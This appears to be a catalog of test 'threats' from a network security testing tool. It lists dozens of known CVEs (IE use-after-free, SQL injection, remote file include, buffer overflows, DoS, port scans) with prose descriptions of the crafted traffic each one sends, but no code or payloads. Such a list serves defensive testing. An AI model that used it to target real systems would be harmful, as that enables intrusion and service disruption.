Threat File Name:	FSC20101214-03_Microsoft_Internet_Explorer_HTML_Object_Memory_Corruption.xml
Executive Description:	Microsoft Internet Explorer HTML Object Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Internet Explorer. The vulnerability is due an error when accessing an object that has not been initialized or deleted properly. A remote attacker can exploit this vulnerability by enticing a target user to open a maliciously crafted HTML document. In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. If such an attack is not executed successfully, the vulnerable application may terminate abnormally.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-3340
Threat File Name:	horde_cmi_IPv6.xml
Executive Description:	Horde help viewer module remote PHP code execution (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP query containing an SQL statement which when executed by the server allows the injection of PHP code which will also be executed by the server when the inserted record is displayed. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-1491
OSVDB:	15945
Threat Package:	Standard
Threat File Name:	syn_localhost.xml
Executive Description:	localhost SYN
Detailed Description:	This threat sends a TCP SYN packet with a source IP address of 127.0.0.1. Can cause older TCP/IP stack implementations to freeze when encountered.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	FSC20080220-24_Symantec_VERITAS_Storage_Foundation_Administrator_Service_Buffer_Overflow_IPv6.xml
Executive Description:	Symantec VERITAS Storage Foundation Administrator Service Buffer Overflow (IPv6 Version)
Detailed Description:	There exists a buffer overflow vulnerability in Symantec VERITAS Storage Foundation suite. The flaw is due to a boundary error when processing overly large messages. A remote unauthenticated attacker may leverage this vulnerability to create a denial of service condition of the affected service, or inject and execute arbitrary code on the target host with System level privileges. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2008-0638
Threat Package:	Standard
Threat File Name:	sipspacereq.xml
Executive Description:	SIPPING: Multiple Spaces on Request Line
Detailed Description:	This threat sends out a SIP INVITE message with multiple spaces between elements on the request line. This is an invalid SIP message and because it is unexpected may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	azdg_command_IPv6.xml
Executive Description:	AZDGDatingLite Command Execution (IPv6 Version)
Detailed Description:	This threat uploads a small PHP script that appears to be an image file. When used in conjunction with a directory traversal bug in this application, it can lead to remote code execution. AZDGDatingLite is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2951
OSVDB:	19410
Threat Package:	Standard
Threat File Name:	FSC20110208-46_Adobe_Shockwave_Player_Director_File_FFFFFFFF88_Record_Parsing_Remote_Code_Execution.xml
Executive Description:	Adobe Shockwave Player Director File FFFFFFFF88 Record Parsing Remote Code Execution
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave player. The vulnerability is due to an integer overflow error while calculating the size value for heap memory allocation while parsing a FFFFFFFF88 record. Remote attackers can exploit this vulnerability by enticing target users to open a malicious DTR file using a vulnerable version of the product. Successful exploitation of this vulnerability would result in arbitrary code execution in the security context of the logged in user. In the case of an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,SMTP
CVEID:	CVE-2010-4192
Threat File Name:	FSC20081209-12_Microsoft_Windows_GDI_WMF_File_HeaderSize_Buffer_Overflow.xml
Executive Description:	Microsoft Windows GDI WMF File HeaderSize Buffer Overflow
Detailed Description:	There exists a heap buffer overflow vulnerability in Microsoft Graphics Device Interface (GDI) library. The flaw is due to an integer overflow while handling WMF image files. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted WMF image file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged on user. An attack targeting this vulnerability can result in the injection and execution of code. If code execution is successful, the behaviour of the target will depend on the intention of the attacker. Any code injected will be executed within the security context of the currently logged on user. In the case of an unsuccessful code execution attack, the affected application will terminate resulting in the loss of any unsaved data from the current session.
Protocol Type:	HTTP/HTTPS/IMAP/POP3/SMB/CIFS/SMTP

CVEID:	CVE-2008-2249
Threat Package:	Standard
Threat File Name:	FSC20041123-01_Cyrus_IMAP_Server_IMAPMAGICPLUS_Buffer_Overflow.xml
Executive Description:	Cyrus IMAP Server IMAPMAGICPLUS Buffer Overflow
Detailed Description:	There is a vulnerability in the way Cyrus IMAP Server processes the LOGIN commands. When the server option IMAPMAGICPLUS is enabled, an overly long username parameter passed to these commands will trigger a stack-based buffer overflow. An attacker can leverage this vulnerability to execute arbitrary code on the target with the privileges of standard system user.
Protocol Type:	IMAP
CVEID:	CVE-2004-1011
Threat Package:	Standard
Threat File Name:	FSC20091214-02_HP_OpenView_Network_Node_Manager_OvWebHelp.exe_Buffer_Overflow.xml
Executive Description:	HP OpenView Network Node Manager OvWebHelp.exe Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in HP OpenView Network Node Manager (NNM). The vulnerability is due to a boundary error when the CGI program OvWebHelp.exe processes the Topic variable in an HTTP POST request. A remote unauthenticated attacker can exploit this vulnerability by sending a crafted HTTP POST request to a target server, potentially causing arbitrary code to be injected and executed in the security context of the Internet Guest account. In an attack scenario, where arbitrary code is injected and executed on the target machine, the behaviour of the target is dependent on the logic of the malicious code.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2009-4178
Threat Package:	Standard
Threat File Name:	FSC20071203-05_ACD_Systems_ACDSee_Products_XPM_Values_Section_Buffer_Overflow.xml
Executive Description:	ACD Systems ACDSee Products XPM Values Section Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in multiple ACDSee products. The flaw is due to a boundary error when processing crafted XPM files. A remote attacker can exploit this vulnerability by persuading the target user to open a malicious XPM file with the affected application. Successful attack could allow for arbitrary code being injected and executed with the privileges of the currently logged on user.
Protocol Type:	HTTP
CVEID:	CVE-2007-6009
Threat Package:	Standard
Threat File Name:	ms05-005_IPv6.xml
Executive Description:	MS05-005 Microsoft Office Malicious URI Crash (IPv6 Version)
Detailed Description:	This threat sends a malicious webpage which is designed to cause Microsoft Office to load an overly long filename. This causes a buffer overflow in the office code, leading to potential code execution. This threat is a client attack that comes from the virtual server. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2004-0848
OSVDB:	13594
Threat Package:	Standard
Threat File Name:	TSL20170120-08_Brocade_Network_Advisor_DashboardFileReceiveServlet_filename_Directory_Traversal.xml
Executive Description:	Brocade Network Advisor DashboardFileReceiveServlet filename Directory Traversal
Detailed Description:	A directory traversal vulnerabilities exists in Brocade Network Advisor. The vulnerability is due to lack of authentication and insufficient input validation in the DashboardFileReceiveServlet servlet of dashboard-file-upload.war when processing HTTP multipart form requests. A remote, unauthenticated attacker can exploit this vulnerability by sending a malicious HTTP request to the target system. Successful exploitation could result in arbitrary code execution with privileges of the SYSTEM.
Protocol Type:	HTTP, HTTPS
CVEID:	CVE-2016-8205
Threat File Name:	FSC20090713-01_Microsoft_Office_Web_Components_Arbitrary_Code_Execution.xml
Executive Description:	Microsoft Office Web Components Arbitrary Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Office Web Components. The vulnerability is due to insecure design of the Evaluate() method in ActiveX controls. A remote attacker can exploit this vulnerability by enticing a user to visit a malicious web page. In an attack scenario, where arbitrary code is injected and executed on the target system, the behaviour of the target is dependent on the intention of the malicious code. The injected code will be run with privileges of the currently logged on user.
Protocol Type:	HTTP/HTTPS/POP3/IMAP/SMTP
CVEID:	CVE-2009-1136
Threat Package:	Standard
Threat File Name:	sybase_bof_IPv6.xml
Executive Description:	Sybase EAServer Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat exploits a stack based buffer overflow in the Sybase HTTP query handler, this flaw can be exploited by making an overly long http query. Sybase is an application server which typically listens on port 8080. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	data_dynamics_activex_overwrite.xml
Executive Description:	Data Dynamics ActiveBar ActiveX (actbar3.ocx <= 3.1) Arbitrary File Overwrite Vulnerability
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Date Dynamics ActiveX application, resulting in the overwriting of arbitrary files. This threat is delivered via HTTP port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-3883
Threat Package:	Standard
Threat File Name:	TSL20140303-01_Apache_Camel_XSLT_Component_Java_Code_Execution_IPv6.xml
Executive Description:	Apache Camel XSLT Component Java Code Execution(IPv6 Version)

Detailed Description:	A code execution vulnerability has been reported in Apache Camel. The vulnerability is due to an error in handling XSL stylesheets in the XSLT component. A remote, unauthenticated attacker can exploit this vulnerability by sending a specially crafted XML message to the vulnerable server. Successful exploitation could result in the execution of arbitrary Java code on the target system with the privileges of the server process
Protocol Type:	HTTP
CVEID:	CVE-2014-0003
OSVDB:	103917
Threat File Name:	realplayer_10_dos.xml
Executive Description:	Real player 10 Gold .Ra file Remote Denial of Service Vulnerability
Detailed Description:	This threat leverages a memory leak in Real Player 10 that will result in a denial of service condition due to resource consumption. Real Player is a client application and can receive media input via a web server listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2497
Threat Package:	Standard
Threat File Name:	TSL20160712-23_Microsoft_Edge_ArrayBuffer.transfer_Information_Disclosure.xml
Executive Description:	Microsoft Edge ArrayBuffer.transfer Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in Microsoft Edge. The vulnerability is due to implementation flaws in the ArrayBuffer.transfer method where an uninitialized buffer is used. A remote attacker can exploit this vulnerability by enticing the victim to open a maliciously crafted web page. Successful exploitation would allow the attacker to read the contents of memory locations that may help in further attacks.
Protocol Type:	HTTP
CVEID:	CVE-2016-3271
Threat File Name:	TSL20160531-01_Trend_Micro_IWSVA_wmi_domain_controllers_Command_Injection.xml
Executive Description:	Trend Micro IWSVA wmi_domain_controllers Command Injection
Detailed Description:	A command injection vulnerability has been reported in Trend Micro Interscan Web Security. This vulnerability exists due to improper validation of the HTTP request parameters when processing requests to the /rest/wmi_domain_controllers URI. A remote, unauthenticated attacker can exploit this vulnerability by sending maliciously crafted HTTP request to the target server. Successful exploitation of this vulnerability can lead to arbitrary command execution under the security context of the target process.
Protocol Type:	HTTP, HTTPS
Threat File Name:	pollmentor_sqli.xml
Executive Description:	PollMentor 2.0 (pollmentorres.asp id) SQL Injection Vulnerability
Detailed Description:	This threat sends a crafted URL that contains an SQL query which is executed by the server. PollMentor is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0984
Threat Package:	Standard
Threat File Name:	phpBB_viewtopic_IPv6.xml
Executive Description:	phpBB SQL Injection Attack (IPv6 Version)
Detailed Description:	This threat performs a SQL injection attack against the popular web based bulletin board software phpBB. This particular attack attempts to retrieve the password hashes of users. phpBB is a web application and typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2003-0486
OSVDB:	2186
Threat Package:	Standard
Threat File Name:	mcafee_epolicy_source.xml
Executive Description:	McAfee EPolicy Orchestrator Buffer Overflow
Detailed Description:	This threat causes a buffer overflow in the McAfee EPolicy Orchestrator product by sending an overly long source header. McAfee EPolicy Orchestrator typically listens on port 81.
Protocol Type:	HTTP
CVEID:	CVE-2006-5156
OSVDB:	29421
Threat Package:	Standard
Threat File Name:	ccrp_browsedialogclass_dos.xml
Executive Description:	BrowseDialog Class ActiveX Control Remote Denial of Service Vulnerability
Detailed Description:	This threat use a maliciously crafted html page to trigger a denial of service condition due to the vulnerable ActiveX "BrowseDialog Class" Control in Internet Explorer. This affects the BrowseDialog Class ActiveX Control using Internet Explorer Web Browser clients that typically connect to the http port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0371
Threat Package:	Standard
Threat File Name:	TSL20170111-01_GnuTLS_Proxy_Certificate_Information_Extension_Memory_Corruption_IPv6.xml
Executive Description:	GnuTLS Proxy Certificate Information Extension Memory Corruption (IPv6 Version)
Detailed Description:	A memory corruption vulnerability has been reported in the GnuTLS library. The vulnerability is due to improper handling of the Proxy Certificate Information extension in X.509 certificates. A remote attacker can exploit this vulnerability in GnuTLS by sending a crafted X.509 certificate to a target application. Successful exploitation could result in arbitrary code execution in the context of the target application.
Protocol Type:	SSL,TLS,HTTPS,POP3S,IMAPS,LDAPS,SMTP,SMTPS,IPv6
CVEID:	CVE-2017-5334
Threat File Name:	fenice_bof.xml
Executive Description:	Fenice Remote Buffer Overflow and Denial Of Service Vulnerability
Detailed Description:	This threat delivers a standard buffer overflow exploit via a proprietary destination port 554.
Protocol Type:	HTTP

Threat Package:	Standard
Threat File Name:	smartcode_vnc_activex_dos.xml
Executive Description:	SmartCode VNC Manager ActiveX Control Scvncctrl.DLL Denial of Service Vulnerability
Detailed Description:	This threat leverages a flaw in SmartCode VNC Manager's ActiveX control trigger denial-of-service conditions in Internet Explorer when accessed from a malicious webserver listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-2526
Threat Package:	Standard
Threat File Name:	multi-pdf_bof.xml
Executive Description:	Multiple Vendor PDF Document Catalog Handling Vulnerability
Detailed Description:	This threat uses an HTTP server to send a malicious pdf file that will crash multiple pdf viewers. The payload vector is a web server typically listening on the port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0104
OSVDB:	31221
Threat Package:	Standard
Threat File Name:	TSL20110412-07_Microsoft_Office_PowerPoint_OfficeArt_Atom_Memory_Corruption.xml
Executive Description:	Microsoft Office PowerPoint OfficeArt Atom Memory Corruption
Detailed Description:	A code execution vulnerability exists in Microsoft Office PowerPoint. The vulnerability is due to a memory corruption while processing specially crafted PowerPoint files that contain a OfficeArt Atom record. An attacker can exploit this vulnerability by enticing a user to open a specially crafted PowerPoint file. This can result in code execution in the context of the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2011-0976
Threat File Name:	TSL20150224-04_MIT_Kerberos_5_recvauth_Invalid_Memory_Access_IPv6.xml
Executive Description:	MIT Kerberos 5 recvauth Invalid Memory Access IPv6 version.
Detailed Description:	A denial of service vulnerability exists in MIT Kerberos 5. The vulnerability occurs when recvauth_common() calls krb5_read_message() to receive and process a crafted message causing it to return an invalid string that later causes a NULL pointer dereference or an attempt to read beyond the end of a buffer. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted message to an application, such as klogind, that use the krb5_recvauth() API. Successful exploitation will cause the vulnerable application process to terminate. Tester should set variable \$destPort to 543 before test.
Protocol Type:	klogin/kshell/krb5_prop.IPV6
CVEID:	CVE-2014-5355
OSVDB:	118567
Threat File Name:	eXtremail_v8_remote_heap.xml
Executive Description:	eXtremail <= 2.1.1 (v8) Remote Heap Overflow Vulnerability
Detailed Description:	This threat demonstrates a heap overflow in eXtremail 2.1.1 by sending multiple long strings to the IMAP port, leading to a denial of service condition. This threat is delivered to the IMAP port 143/tcp.
Protocol Type:	IMAP
CVEID:	CVE-2007-5466
Threat Package:	Standard
Threat File Name:	FSC20100715-15_Oracle_Secure_Backup_Administration_selector_Variable_Command_Injection_IPv6.xml
Executive Description:	Oracle Secure Backup Administration selector Variable Command Injection (IPv6 Version)
Detailed Description:	A command execution vulnerability exists in Oracle Secure Backup server. The vulnerability is due to an insufficient sanitizing when handling the \$selector variable. A remote authenticated attacker could exploit this vulnerability by sending a specially crafted HTTP request to the index.php on the target server. Successful exploitation of this vulnerability may allow a remote authenticated attacker to execute arbitrary commands under the credentials of the SYSTEM account.</para>
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2010-0906
Threat Package:	Standard
Threat File Name:	hpe_rfi_IPv6.xml
Executive Description:	Headline Portal Engine HPEInc Parameter Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Headline Portal Engine is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20071107-16_Oracle_Database_Server_XDB_PITRIG_DROPMETADATA_Procedure_Buffer_Overflow.xml
Executive Description:	Oracle Database Server XDB PITRIG_DROPMETADATA Procedure Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Oracle Database Server product. The vulnerability exists due to insufficient validation of the arguments supplied to procedure PITRIG_DROPMETADATA in XDB.XDB_PITRIG_PKG package. A remote attacker with valid user credentials may leverage this vulnerability to execute arbitrary code within the security context of the affected service.
Protocol Type:	Proprietary
CVEID:	CVE-2007-4517
Threat Package:	Standard
Threat File Name:	propfind.xml
Executive Description:	HTTP Propfind
Detailed Description:	This is a HTTP request used by attackers and automated tools to determine if a Windows web server is vulnerable to WebDAV based attacks.
Protocol Type:	HTTP
CVEID:	CVE-2000-0869
OSVDB:	404
Threat Package:	Standard

Threat File Name:	alice_msngr_activex_overwrite_IPv6.xml
Executive Description:	Telecom Italy Alice Messenger Hp.Revolution.RegistryManager.dll (v.1) remote arbitrary registry key manipulation (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Alice Messenger Hp.Revolution.RegistryManager.dll ActiveX Control, resulting in the overwriting of arbitrary files, such as the registry. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20100826-09_Oracle_MySQL_Database_Unique_SET_Column_Join_Denial_of_Service.xml
Executive Description:	Oracle MySQL Database Unique SET Column Join Denial of Service
Detailed Description:	A Denial of Service vulnerability exists in Oracle MySQL database server. The vulnerability is due to an error while handling joins involving a table with a unique SET column. Remote authenticated attackers can exploit this vulnerability by sending malicious command packets to the server that causes a join with aforementioned condition. Successful exploitation would cause the target server to terminate, denying service to all users until the server is restarted.
Protocol Type:	MYSQL
Threat Package:	Standard
Threat File Name:	netbios_scan_IPv6.xml
Executive Description:	NetBIOS Query (IPv6 Version)
Detailed Description:	This threat queries the NetBIOS name service on a Microsoft Windows machine to see what it has available, including shared files and printers. Typically is sent to UDP port 137 and used as the first step to determine the type of attack to use. (IPv6 Version)
Protocol Type:	NETBIOS_NS/IPv6
Threat Package:	Standard
Threat File Name:	easy-content_xss_IPv6.xml
Executive Description:	Easy-Content Forums 1.0 XSS Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted HTTP Request with with a modified URL string containing HTML or Javascript. Easy-Content Forums is a web application that typically listens on port 80." (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	TSL20161222-08_VegaDNS_axfr_get.php_Command_Injection.xml
Executive Description:	VegaDNS axfr_get.php Command Injection
Detailed Description:	A command injection vulnerability has been reported in the axfr_get.php script of VegaDNS. The vulnerability is due to insufficient input validation of the script's \$file variable, which is derived from the user-supplied \$domain parameter. A remote, unauthenticated attacker could exploit this vulnerability by sending crafted HTTP requests to the target server. Successful exploitation allows the attacker to execute arbitrary commands under the security context of the web server.
Protocol Type:	HTTP, HTTPS
Threat File Name:	ventrilo_dos_IPv6.xml
Executive Description:	Ventrilo VoIP Denial of Service (IPv6 Version)
Detailed Description:	This threat sends a malformed UDP packet that causes the Voice Over IP application Ventrilo to crash. This threat sends the malformed UDP packet to port 3784. (IPv6 Version)
Protocol Type:	Proprietary/IPv6
CVEID:	CVE-2005-2719
OSVDB:	18946
Threat Package:	Standard
Threat File Name:	TSL20170420-06_Mozilla_Firefox_WebGL_Integer_Overflow.xml
Executive Description:	Mozilla Firefox WebGL Integer Overflow
Detailed Description:	A memory corruption vulnerability exists in WebGL components of Mozilla Firefox. The vulnerability is due to an integer overflow in Intersect function while calculating destination frame buffer width and height. A remote attacker could exploit this vulnerability by enticing a user to open a maliciously crafted web page. Successful exploitation of the vulnerability could potentially lead to remote code execution or denial of service conditions.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2017-5459
Threat File Name:	TSL20150811-45_Microsoft_Internet_Explorer_CVE_2015_2444_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer CVE-2015-2444 Use After Free
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to errors while handling certain objects when processing HTML and script code. A remote attacker could exploit these vulnerabilities by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-2444
Threat File Name:	TSL20150210-30_Microsoft_Internet_Explorer_scrollIntoView_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer scrollIntoView Use After Free.
Detailed Description:	A use after free vulnerability exists in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote, unauthenticated attacker could exploit the vulnerability by enticing the target user to open a specially crafted web page. Successful exploitation could lead to arbitrary code execution in the security context of the target user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2015-0017
OSVDB:	118141
Threat File Name:	TSL20130708-05_Corel_PDF_Fusion_XPS_Stack_Buffer_Overflow.xml
Executive Description:	Corel PDF Fusion XPS Stack Buffer Overflow

Detailed Description:	A code execution vulnerability exists in Corel PDF Fusion. The vulnerability is due to a stack buffer overflow when parsing names in ZIP directory entries of an XPS file. A remote attacker could exploit this vulnerability by enticing a user to open a crafted XPS file. A successful attack would result in execution of arbitrary code in the security context of the affected application.
Protocol Type:	HTTP, HTTPS,IMAP, POP3,SMB/CIFS,SMTP
CVEID:	CVE-2013-3248
OSVDB:	94933
Threat File Name:	FSC20090210-12_Microsoft_Exchange_System_Attendant_Denial_of_Service_IPv6.xml
Executive Description:	Microsoft Exchange System Attendant Denial of Service (IPv6 Version)
Detailed Description:	A denial of service vulnerability exists in the Microsoft Exchange System Attendant. The vulnerability is a result of insufficient validation when processing crafted parameters supplied to the System Attendant service. Successful exploitation of this vulnerability can allow a remote unauthenticated attacker to terminate the affected service, causing a denial of service condition. Upon triggering this vulnerability, the System Attendant service on the target server will terminate abnormally. Users may experience interruption and temporary unavailability of all services hosted by the affected process such as: address list maintenance, enforcement of message retention policies, resource monitoring, and others. To restore functionality, the affected service needs to be manually restarted. (IPv6 Version)
Protocol Type:	UDP/IPv6
CVEID:	CVE-2009-0099
Threat Package:	Standard
Threat File Name:	oracle_reports_file_IPv6.xml
Executive Description:	Oracle Reports Arbitrary File Reading (IPv6 Version)
Detailed Description:	This threat takes advantage of a flaw in Oracle Reports which allows the attacker to view portions of any file on the server. Oracle reports uses the HTTP protocol and typically listens on port 7778. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-2378
OSVDB:	18117
Threat Package:	Standard
Threat File Name:	bulletproofftp_client_bof_IPv6.xml
Executive Description:	BulletProof FTP (Client) V2.45 Remote Buffer Overflow (IPv6 Version)
Detailed Description:	This threat uses a malicious ftp server to send a large buffer containing arbitrary code to leverage a buffer overflow vulnerability in systems using the Bulletproof ftp client. Bulletproof ftp is a client application that typically connects to ftp servers listening on port 21. (IPv6 Version)
Protocol Type:	FTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20070921-17_CA_ARCserve_Backup_for_Laptops_and_Desktops_LGServer_Multiple_Buffer_Overflows_IPv6.xml
Executive Description:	CA ARCserve Backup for Laptops and Desktops LGServer Multiple Buffer Overflows (IPv6 Version)
Detailed Description:	There exist multiple buffer overflow vulnerabilities in the way CA ARCserve Backup for Laptops and Desktops service handles incoming messages. Specifically the vulnerabilities are due to lack of boundary check when processing several different kinds of user requests. By sending specially crafted requests, an unauthenticated remote attacker can leverage these flaws to execute arbitrary code on the target host with System privileges. (IPv6 Version)
Protocol Type:	TCP/IPv6
CVEID:	CVE-2007-3216
Threat Package:	Standard
Threat File Name:	pop_buffer_overflow_513.xml
Executive Description:	POP Buffer Overflow [513] Attack
Detailed Description:	This generic threat sends a long buffer [513 bytes] against an POP server. A buffer overflow attack attempts to crash the service by causing the service to write to out of bounds memory by going beyond the allocated buffer.
Protocol Type:	POP3
Threat Package:	Standard
Threat File Name:	TSL20130409-25_HP_ManagementCenter_SyslogDownloadServlet_Disclosure_IPv6.xml
Executive Description:	HP Intelligent Management Center SyslogDownloadServlet Information Disclosure (IPv6, Version)
Detailed Description:	SyslogDownloadServlet Information Disclosure An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the SyslogDownloadServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	IPv6,HTTP,HTTPS
CVEID:	CVE-2012-5206
OSVDB:	91031
Threat File Name:	boite_de_news_rfi_IPv6.xml
Executive Description:	Boite de News Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. Boite de News is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
Threat Package:	Standard
Threat File Name:	FSC20040319-01_ISS_ICQ_parsing_vulnerability_IPv6.xml
Executive Description:	ISS ICQ parsing vulnerability (IPv6 Version)
Detailed Description:	There is a vulnerability within several ISS security products, including BlackICE, RealSecure, and Proventia, in the way they parse the ICQ messaging protocol. An attacker, exploiting this vulnerability, can cause a buffer overflow, resulting in the termination of a service or execution of arbitrary code. (IPv6 Version)
Protocol Type:	/IPv6
CVEID:	CVE-2004-0362

Threat Package:	Standard
Threat File Name:	FSC20080709-06_Microsoft_Word_Crafted_SmartTag_Record_Code_Execution.xml
Executive Description:	Microsoft Word Crafted SmartTag Record Code Execution
Detailed Description:	A memory corruption vulnerability exists in Microsoft Word. The vulnerability is due to a memory handling error while handling MS Word smart tags. A remote attacker can exploit this vulnerability by enticing the target user to open a crafted Microsoft Word document, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2008-2244
Threat Package:	Standard
Threat File Name:	x86NOOPudpSGI2.xml
Executive Description:	UDP x86 NOOP Variant SGI 2
Detailed Description:	This threat sends UDP packets with a payload filled with NOOP assembly instructions. This gets flagged on IDS systems as a possible shellcode injection attack. NOOPs are used as a sled to insure greater probability for shellcode to execute. Unfortunately, NOOPs are also quite common in binary downloads from websites as well, causing many false positives.
Protocol Type:	UDP
Threat Package:	Standard
Threat File Name:	PortScanEverything.xml
Executive Description:	Portscan: Everything
Detailed Description:	This scan sends a TCP Packet, with every TCP flag set, to all possible ports on the user specified target. This is an attempt to probe the target for open ports.
Protocol Type:	TCP
Threat Package:	Standard
Threat File Name:	mxBB_MxTinies_rfi_IPv6.xml
Executive Description:	MXBB Mx_Tinies Module Module_Root_Path Remote File Include Vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. MXBB is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-6295
Threat Package:	Standard
Threat File Name:	FSC20080104-15_MySQL_yaSSL_SSL_Hello_Message_Buffer_Overflow.xml
Executive Description:	MySQL yaSSL SSL Hello Message Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in MySQL. The flaw is due to boundary error when handling crafted client Hello message when using yaSSL for secure connection. A remote unauthenticated attacker may exploit the vulnerability to inject and execute arbitrary code on the target with privileges of MySQL service.
Protocol Type:	MYSQSSL
CVEID:	CVE-2008-0226
Threat Package:	Standard
Threat File Name:	TSL20130409-24_HP_ManagementCenter_DownloadServlet_Disclosure.xml
Executive Description:	HP Intelligent Management Center DownloadServlet Information Disclosure
Detailed Description:	An information disclosure vulnerability exists in HP Intelligent Management Center. The vulnerability is due to lack of authentication and insufficient input validation in the DownloadServlet servlet when processing HTTP request parameters. By sending crafted HTTP requests to the target system, a remote unauthenticated attacker can leverage this vulnerability to view the contents of arbitrary files on a target system.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2012-5208
OSVDB:	91033
Threat File Name:	TSL20161202-01_Dell_SonicWALL_Universal_Management_Suite_ImagePreviewServlet_SQL_Injection.xml
Executive Description:	Dell SonicWALL Universal Management Suite ImagePreviewServlet SQL Injection
Detailed Description:	An SQL injection vulnerability has been reported in Dell SonicWALL Universal Management Suite. The vulnerability is due to an error in validation of the logoID parameter in the ImagePreviewServlet script. A remote, unauthenticated attacker can exploit this vulnerability by sending a crafted request. Successful exploitation of this vulnerability can lead to arbitrary code execution in the context of SYSTEM on the target host.
Protocol Type:	HTTP
Threat File Name:	ymsgsr_webcam_activex_bof_IPv6.xml
Executive Description:	Yahoo! Messenger Webcam 8.1 ActiveX Remote Buffer Overflow Vulnerability (IPv6 Version)
Detailed Description:	This threat downloads a malicious web page which triggers a buffer overflow in the Yahoo! Messenger Webcam ActiveX application, resulting in the execution of arbitrary code. This threat is delivered via HTTP port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2007-3148
Threat Package:	Standard
Threat File Name:	FSC20100201-03_Oracle_TimesTen_In-Memory_Database_HTTP_Request_Denial_of_Service.xml
Executive Description:	Oracle TimesTen In-Memory Database HTTP Request Denial of Service
Detailed Description:	A denial of service vulnerability exists in Oracle TimesTen In-Memory Database service. The vulnerability is due to an input validation error while parsing HTTP GET requests. Remote unauthenticated attackers can exploit this vulnerability by sending a specially crafted HTTP request to the timestend daemon listening on port 17000/TCP. Successful exploitation would cause the database service to terminate abnormally, resulting in the Denial of Service condition.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	cisco_http_1_IPv6.xml
Executive Description:	Cisco IOS Router Denial of Service (IPv6 Version)

Detailed Description:	This threat sends a malformed HTTP request that is known to cause certain versions of IOS to crash. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2000-0380
OSVDB:	1302
Threat Package:	Standard
Threat File Name:	flashActionDefineFunction.xml
Executive Description:	Flash Buffer Overflow Attempt
Detailed Description:	This threat causes a buffer overflow in the flash media player. This can be used to gain remote access to a machine. Flash is typically embedded in webpages which operate over port 80. This threat is a client side attack that comes from the virtual server.
Protocol Type:	HTTP
